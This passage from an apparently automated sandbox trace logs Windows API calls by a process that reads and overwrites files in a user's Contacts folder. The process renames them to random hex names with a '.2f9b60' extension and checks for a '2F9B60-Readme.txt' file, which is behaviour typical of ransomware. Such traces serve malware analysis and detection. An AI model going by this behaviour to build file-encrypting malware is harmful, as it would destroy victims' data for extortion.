RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x26690d4b [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x76c8dc9d [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x5a03ff5 [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x2d4ff21f [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x79cc0d8f [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x3e892891 [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x39d6083a [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x43a70cd6 [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x701dca3f [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x4eac9c71 [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x595838df [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x6fa70ba4 [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x434d4702 [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x3c35a3ba [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x7e6ff7c4 [0094.019] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x499, lpNumberOfBytesRead=0x2477f670, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2477f670*=0x499, lpOverlapped=0x0) returned 1 [0094.019] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.019] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x499, lpNumberOfBytesWritten=0x2477f674, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2477f674*=0x499, lpOverlapped=0x0) returned 1 [0094.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0094.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0094.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f2f0 [0094.022] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.022] WriteFile (in: hFile=0xdac, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2477f790, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2477f790*=0x11a, lpOverlapped=0x0) returned 1 [0094.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0094.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9a0) returned 1 [0094.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85f9a0 [0094.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0094.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0094.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0094.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9c970 [0094.024] sprintf (in: _Dest=0x1cd9c970, _Format="%c%c" | out: _Dest="d8") returned 2 [0094.024] sprintf (in: _Dest=0x1cd9c972, _Format="%c%c" | out: _Dest="1b") returned 2 [0094.024] sprintf (in: _Dest=0x1cd9c974, _Format="%c%c" | out: _Dest="4f") returned 2 [0094.024] sprintf (in: _Dest=0x1cd9c976, _Format="%c%c" | out: _Dest="13") returned 2 [0094.024] sprintf (in: _Dest=0x1cd9c978, _Format="%c%c" | out: _Dest="b2") returned 2 [0094.024] sprintf (in: _Dest=0x1cd9c97a, _Format="%c%c" | out: _Dest="a1") returned 2 [0094.024] sprintf (in: _Dest=0x1cd9c97c, _Format="%c%c" | out: _Dest="0c") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c97e, _Format="%c%c" | out: _Dest="3d") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c980, _Format="%c%c" | out: _Dest="33") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c982, _Format="%c%c" | out: _Dest="5b") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c984, _Format="%c%c" | out: _Dest="68") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c986, _Format="%c%c" | out: _Dest="14") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c988, _Format="%c%c" | out: _Dest="b7") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c98a, _Format="%c%c" | out: _Dest="59") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c98c, _Format="%c%c" | out: _Dest="2f") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c98e, _Format="%c%c" | out: _Dest="4f") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c990, _Format="%c%c" | out: _Dest="6e") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c992, _Format="%c%c" | out: _Dest="91") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c994, _Format="%c%c" | out: _Dest="22") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c996, _Format="%c%c" | out: _Dest="5f") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c998, _Format="%c%c" | out: _Dest="3d") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c99a, _Format="%c%c" | out: _Dest="98") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c99c, _Format="%c%c" | out: _Dest="62") returned 2 [0094.025] sprintf (in: _Dest=0x1cd9c99e, _Format="%c%c" | out: _Dest="5f") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9a0, _Format="%c%c" | out: _Dest="f9") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9a2, _Format="%c%c" | out: _Dest="29") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9a4, _Format="%c%c" | out: _Dest="fb") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9a6, _Format="%c%c" | out: _Dest="3b") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9a8, _Format="%c%c" | out: _Dest="2a") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9aa, _Format="%c%c" | out: _Dest="a2") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9ac, _Format="%c%c" | out: _Dest="83") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9ae, _Format="%c%c" | out: _Dest="ab") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9b0, _Format="%c%c" | out: _Dest="45") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9b2, _Format="%c%c" | out: _Dest="e2") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9b4, _Format="%c%c" | out: _Dest="6a") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9b6, _Format="%c%c" | out: _Dest="2b") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9b8, _Format="%c%c" | out: _Dest="85") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9ba, _Format="%c%c" | out: _Dest="68") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9bc, _Format="%c%c" | out: _Dest="a6") returned 2 [0094.026] sprintf (in: _Dest=0x1cd9c9be, _Format="%c%c" | out: _Dest="09") returned 2 [0094.026] RtlInitAnsiString (in: DestinationString=0x2477f808, SourceString="d81b4f13b2a10c3d335b6814b7592f4f6e91225f3d98625ff929fb3b2aa283ab45e26a2b8568a609" | out: DestinationString="d81b4f13b2a10c3d335b6814b7592f4f6e91225f3d98625ff929fb3b2aa283ab45e26a2b8568a609") [0094.026] RtlAnsiStringToUnicodeString (in: DestinationString=0x2477f7d8, SourceString="d81b4f13b2a10c3d335b6814b7592f4f6e91225f3d98625ff929fb3b2aa283ab45e26a2b8568a609", AllocateDestinationString=1 | out: DestinationString="d81b4f13b2a10c3d335b6814b7592f4f6e91225f3d98625ff929fb3b2aa283ab45e26a2b8568a609") returned 0x0 [0094.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11600 [0094.027] wcscat (in: _Dest=0x1b7845b0, _Source="d81b4f13b2a10c3d335b" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\d81b4f13b2a10c3d335b") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\d81b4f13b2a10c3d335b" [0094.027] wcscat (in: _Dest=0x1b7845b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\d81b4f13b2a10c3d335b.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\d81b4f13b2a10c3d335b.2f9b60" [0094.027] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\d81b4f13b2a10c3d335b.2f9b60", NtPathName=0x2477f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\d81b4f13b2a10c3d335b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce114a0 [0094.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0094.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.029] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x2477f818, FileInformation=0x2477f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2477f818, FileInformation=0x2477f828) returned 0x0 [0094.029] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x2477f818, FileInformation=0x2477f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7845b0) returned 1 [0094.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.030] FlushFileBuffers (hFile=0xdac) returned 1 [0094.032] CloseHandle (hObject=0xdac) returned 1 [0094.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866840 [0094.033] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0094.033] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" [0094.033] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\2f9b60-readme.txt")) returned 0x20 [0094.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 Thread: id = 554 os_tid = 0xe6c [0094.037] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact")) returned 0x20 [0094.038] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", dwFileAttributes=0x20) returned 1 [0094.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.039] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x1fa6fc00 | out: lpFileSize=0x1fa6fc00*=1174) returned 1 [0094.039] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x492, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.039] ReadFile (in: hFile=0xdac, lpBuffer=0x1fa6fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fa6fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1fa6fb80*, lpNumberOfBytesRead=0x1fa6fbc8*=0x4, lpOverlapped=0x0) returned 1 [0094.040] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0094.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.041] NtQuerySystemTime (in: CurrentTime=0x1fa6fac0 | out: CurrentTime=0x1fa6fac0*=132462176998786000) returned 0x0 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x6c720167 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x554eb1a3 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x55ad8d74 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x3da306af [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x49a6a2cd [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0xf86a52a [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0xa4c7750 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x4f981777 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x4abc433e [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x51c660a0 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x7883ec80 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x520728ec [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x1f24db26 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x26412e2c [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x3bd7e8d6 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x32e26df6 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x41a0cf82 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x369d5928 [0094.041] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x11528650 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x6b82a001 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x3704d85b [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x9aa44d3 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x3ec3455d [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x6ef36ba7 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x409fbb02 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x5ffbe676 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x5b49d8c3 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x65b4a616 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x5f8ecf0e [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x609ee115 [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x452a66ea [0094.042] RtlRandomEx (in: Seed=0x1fa6fab0 | out: Seed=0x1fa6fab0) returned 0x1e300fed [0094.053] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x496, lpNumberOfBytesRead=0x1fa6fab0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x1fa6fab0*=0x496, lpOverlapped=0x0) returned 1 [0094.054] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.054] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x1fa6fab4, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x1fa6fab4*=0x496, lpOverlapped=0x0) returned 1 [0094.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0094.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0094.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f2f0 [0094.056] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.056] WriteFile (in: hFile=0xdac, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x1fa6fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x1fa6fbd0*=0x11c, lpOverlapped=0x0) returned 1 [0094.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0094.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0094.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f270 [0094.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0094.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0094.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c970 [0094.058] sprintf (in: _Dest=0x1cd9c970, _Format="%c%c" | out: _Dest="21") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c972, _Format="%c%c" | out: _Dest="69") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c974, _Format="%c%c" | out: _Dest="10") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c976, _Format="%c%c" | out: _Dest="47") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c978, _Format="%c%c" | out: _Dest="c4") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c97a, _Format="%c%c" | out: _Dest="05") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c97c, _Format="%c%c" | out: _Dest="ab") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c97e, _Format="%c%c" | out: _Dest="9c") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c980, _Format="%c%c" | out: _Dest="7a") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c982, _Format="%c%c" | out: _Dest="50") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c984, _Format="%c%c" | out: _Dest="72") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c986, _Format="%c%c" | out: _Dest="4d") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c988, _Format="%c%c" | out: _Dest="4d") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c98a, _Format="%c%c" | out: _Dest="96") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c98c, _Format="%c%c" | out: _Dest="cf") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c98e, _Format="%c%c" | out: _Dest="53") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c990, _Format="%c%c" | out: _Dest="68") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c992, _Format="%c%c" | out: _Dest="df") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c994, _Format="%c%c" | out: _Dest="fe") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c996, _Format="%c%c" | out: _Dest="03") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c998, _Format="%c%c" | out: _Dest="17") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c99a, _Format="%c%c" | out: _Dest="b2") returned 2 [0094.058] sprintf (in: _Dest=0x1cd9c99c, _Format="%c%c" | out: _Dest="7e") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c99e, _Format="%c%c" | out: _Dest="ae") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9a0, _Format="%c%c" | out: _Dest="bb") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9a2, _Format="%c%c" | out: _Dest="12") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9a4, _Format="%c%c" | out: _Dest="12") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9a6, _Format="%c%c" | out: _Dest="d0") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9a8, _Format="%c%c" | out: _Dest="6e") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9aa, _Format="%c%c" | out: _Dest="69") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9ac, _Format="%c%c" | out: _Dest="f4") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9ae, _Format="%c%c" | out: _Dest="cf") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9b0, _Format="%c%c" | out: _Dest="b7") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9b2, _Format="%c%c" | out: _Dest="f8") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9b4, _Format="%c%c" | out: _Dest="ed") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9b6, _Format="%c%c" | out: _Dest="00") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9b8, _Format="%c%c" | out: _Dest="e2") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9ba, _Format="%c%c" | out: _Dest="f9") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9bc, _Format="%c%c" | out: _Dest="b2") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9be, _Format="%c%c" | out: _Dest="df") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9c0, _Format="%c%c" | out: _Dest="36") returned 2 [0094.059] sprintf (in: _Dest=0x1cd9c9c2, _Format="%c%c" | out: _Dest="64") returned 2 [0094.059] RtlInitAnsiString (in: DestinationString=0x1fa6fc48, SourceString="21691047c405ab9c7a50724d4d96cf5368dffe0317b27eaebb1212d06e69f4cfb7f8ed00e2f9b2df3664" | out: DestinationString="21691047c405ab9c7a50724d4d96cf5368dffe0317b27eaebb1212d06e69f4cfb7f8ed00e2f9b2df3664") [0094.059] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fa6fc18, SourceString="21691047c405ab9c7a50724d4d96cf5368dffe0317b27eaebb1212d06e69f4cfb7f8ed00e2f9b2df3664", AllocateDestinationString=1 | out: DestinationString="21691047c405ab9c7a50724d4d96cf5368dffe0317b27eaebb1212d06e69f4cfb7f8ed00e2f9b2df3664") returned 0x0 [0094.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107a80 [0094.060] wcscat (in: _Dest=0x1b7845b0, _Source="21691047c405ab9c7a507" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\21691047c405ab9c7a507") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\21691047c405ab9c7a507" [0094.060] wcscat (in: _Dest=0x1b7845b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\21691047c405ab9c7a507.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\21691047c405ab9c7a507.2f9b60" [0094.060] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\21691047c405ab9c7a507.2f9b60", NtPathName=0x1fa6fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\21691047c405ab9c7a507.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce11600 [0094.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.062] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x1fa6fc58, FileInformation=0x1fa6fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fa6fc58, FileInformation=0x1fa6fc68) returned 0x0 [0094.062] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x1fa6fc58, FileInformation=0x1fa6fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7845b0) 